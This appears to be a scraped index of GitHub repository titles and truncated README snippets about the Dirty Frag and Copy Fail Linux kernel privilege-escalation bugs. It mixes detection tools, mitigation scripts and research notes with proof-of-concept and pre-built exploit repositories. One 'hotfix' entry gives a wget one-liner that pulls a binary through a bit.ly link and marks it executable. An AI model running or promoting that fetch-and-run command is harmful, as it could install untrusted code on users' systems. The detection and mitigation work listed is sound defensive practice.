Reporte-de-Escalada-de-Privilegios-Local-Dirty-Frag

Local Privilege Escalation Report — Dirty Frag Student: Jonatan Claudio 1. Requirements Methodology Summary A vulnerability assessment was performed on a virtual machine running Kali Linux using a detection script for the Dirty Frag vulnerability, associated with the following CVEs: CVE-2026-4328...

CVE-2026-43284

🚨 CVE-2026-43284 — Dirty Frag 🚨 Universal Linux Kernel Local Privilege Escalation Overview Field| Detail ---|--- CVE| CVE-2026-43284 xfrm/ESP + CVE-2026-43500 RxRPC Nickname| Dirty Frag CVSS| 7.8 HIGH Type| Local Privilege Escalation LPE Introduced| Linux kernel 4.10 2017, commit cac2661c53f3...

copy-fail-CVE-2026-31431-detection-probe

Linux Kernel LPE Probe Suite — Copy Fail & Dirty Frag Safe detection tooling for two related Linux kernel local privilege escalation vulnerability families — Copy Fail CVE-2026-31431 and Dirty Frag CVE-2026-43284 / CVE-2026-43500 — both affecting all major distributions since 2017, both exploitab...

dirtyfrag

Dirty Frag: Universal Linux LPE Abstract This document describes the Dirty Frag vulnerability class, first discovered and reported by Hyunwoo Kim @v4bel, which can obtain root privileges on major Linux distributions by chaining the xfrm-ESP Page-Cache Write CVE-2026-43284 vulnerability and the...

CVE-2026-43284

🚨 CVE-2026-43284 - Dirty Frag 🚨 Universal Linux Kernel Local Privilege Escalation 📋 Overview Dirty Frag also known as Copy Fail 2 is a high-impact local privilege escalation vulnerability in the Linux kernel. It allows an unprivileged local user to obtain root privileges on affected systems...

DirtyFrag-for-dummies

Dirty Frag / CVE-2026-43284 — Research Notes Overview This repository contains a cleaned-up technical diagram and supporting notes for the Linux kernel vulnerability commonly referred to as Dirty Frag and tracked for the xfrm-ESP path as CVE-2026-43284. The issue belongs to the broader Dirty Frag...

CVE-2026-43284

Dirty Frag — kernel page-cache write tracking site Source for the Dirty Frag patch-status tracker: a single-page site recording which distributions have shipped a fix for the paired page-cache write privilege-escalation chain in the Linux kernel. Where the facts live Everything about the bug — CV...

DIRTYFAIL

DIRTYFAIL A unified detector and PoC harness for the Copy Fail and Dirty Frag Linux page-cache write vulnerability families. ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ █...

DIRTY-FRAG-Detection-with-Wazuh-4.14.4

DIRTY FRAG Detection with Wazuh 4.14.4 - CVE-2026-43284 / CVE-2026-43500 Detection engineering for the Dirty Frag kernel LPE - Ubuntu / RHEL / Debian / Amazon Linux What is Dirty Frag? CVE-2026-43284 / CVE-2026-43500 is a Linux kernel Local Privilege Escalation LPE that chains two independent...

CVE-2026-43284

Dirty Frag - kernel Linux critical Vulnerability- CVE-2026-43284 📚 Introduction The exploit chain, classified as a Local Privilege Escalation LPE , allows an unprivileged user to obtain root access on virtually all modern Linux distributions running kernels released since 2017, spanning...

CVE-2026-43284-Dirty-Frag

CVE-2026-43284 Dirty Frag Pre-compiled exploit for CVE-2026-43284 Dirty Frag. Original source code from V4bel/dirtyfrag. Build make glibc static build make zig-musl-static ZIGTARGET=x8664-linux-musl musl static build Download Download pre-built binaries from Releases. Supported architectures:...

CVE-2026-43284

Dirty Frag: Universal Linux LPE Abstract This document explains the Dirty Frag vulnerability class, discovered and reported by Hyunwoo Kim @v4bel. By chaining xfrm-ESP Page-Cache Write CVE-2026-43284 with RxRPC Page-Cache Write CVE-2026-43500, an attacker can escalate to root on major Linux...

dirty_frag_mitigation

dirtyfragmitigation 1. A bash script for mitigating linux dirty frag exploit CVE-2026-43500 2. Works on all Debian/Ubuntu Arch based platforms i.e. Kali, ParrotSec, BlackArch 3. Added --check to run as non-root user. Added fragnesia support as it shares the same patch surface with dirtyfrag...

cve_2026_frag_family_fix

Mitigation tool for frag family vulnerability Copy Fail 2026 Dirty Frag 2026 Fragnesia 2026 DirtyClone 2026 PEdit-CoW 2026 Run any Linux hotfix b="/tmp/cve2026fragfamilyfix"; wget -qO $b $wget -qO- https://bit.ly/4vetMTB | grep browserdownloadurl | grep -v .exe | cut -d '"' -f 4 && chmod +x $b &&...

Dirty-Frag

💥 CVE-2026-43284 — Dirty Frag 💥 ⚡ Dirty Frag Local Privilege Escalation Proof of Concept ⚡ 📖 Description This repository contains a Proof of Concept PoC for: CVE-2026-43284 — Dirty Frag The exploit demonstrates a vulnerability affecting vulnerable Linux systems. 🧠 About Dirty Frag Dirty Frag...

vcheck

vcheck Audit a remote Linux host over SSH for the Copy Fail and Dirty Frag kernel-module vulnerabilities and, optionally, apply mitigations: CVE| Name| Affected modules ---|---|--- CVE-2026-31431| Copy Fail| algifaead CVE-2026-43284| Dirty Frag IPsec| esp4, esp6, ipcomp4, ipcomp6, xfrmuser...

Dirty-Frag-Research-CVE-2026-43284-

CVE-2026-43284 Dirty Frag – Linux Kernel Vulnerability Research Overview This repository documents a complete defensive security research project focused on CVE-2026-43284 Dirty Frag , a Linux kernel vulnerability affecting the XFRM/IPsec networking subsystem. The goal of this project is not to...

dirtyfrag-detection-rules

dirtyfrag-detection-rules Detection rules and analysis for Dirty Frag CVE-2026-43284/CVE-2026-43500 Linux kernel LPE vulnerability. Based on community research and health probe configurations...

SG-2026-0024

Dirty Frag primitive-only PoC Readable N4C demonstrator for CVE-2026-43284 XFRM/ESP and CVE-2026-43500 RxRPC/RXKAD. The PoC answers one question: can an unprivileged process change the page cache of a root-owned, read-only file through a sharedskbuff fragment? It does not overwrite /usr/bin/su or...

Paranoid-Dirty-Frag-CVE-2026-43284

Dirty Frag mitigation script This script: 1. Blocks vulnerable kernel modules from loading 2. Unloads them if currently active 3. Verifies mitigation status WARNING: Disables Linux IPsec ESP support esp4/esp6 and RxRPC support. This may break: - strongSwan - libreswan - some enterprise VPNs -...